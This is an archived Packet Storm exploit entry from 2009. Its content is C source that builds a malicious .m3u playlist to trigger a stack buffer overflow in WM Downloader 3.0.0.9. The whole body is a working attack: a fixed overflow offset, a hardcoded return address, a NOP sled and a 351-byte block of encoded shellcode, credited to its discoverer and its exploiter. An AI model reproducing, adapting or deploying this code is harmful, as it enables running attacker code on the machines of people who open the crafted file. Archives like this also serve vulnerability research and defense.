WM Downloader 3.0.0.9 Stack Overflow

2009-04-14T00:00:00
ID PACKETSTORM:76591
Type packetstorm
Reporter Stack
Modified 2009-04-14T00:00:00

Description

                                        
                                            `/*  
# WM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit  
# Disoverd By Cyber-Zone  
# Exploited By Stack  
# Thnx : HOD The Best Metasploiter  
*/  
  
#include <string.h>  
#include <stdio.h>  
#include <stdlib.h>  
#define OFFSET 26117  
char header1[]="\x23\x45\x58\x54\x4D\x33\x55\r\n";  
char header2[]="http://";  
char scode[]=  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"  
"\x4e\x46\x43\x36\x42\x50\x5a";  
char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  
int main(void){  
FILE *p;  
unsigned char *buffer;  
int ret=0x6E7D5C87; // Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>  
// 0x7C82385D;  
  
int i=0;  
if((p=fopen("WM-Downloader.m3u","wb"))==NULL){  
perror("error");  
exit(0);  
}  
buffer=(unsigned char*)malloc(strlen(header1)+strlen(header2)+OFFSET+4+10+351);  
memset(buffer, 0x90,strlen(header1)+strlen(header2)+OFFSET+4+10+351);  
memcpy(buffer,header1,strlen(header1));  
memcpy(buffer+strlen(header1),header2,strlen(header2));  
i=OFFSET;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,&ret,4);  
i+=4;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,nop,10);  
i+=10;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,scode,351);  
i+=351;  
fputs(buffer,p);  
fclose(p);  
free(buffer);  
return 0;  
}  
  
`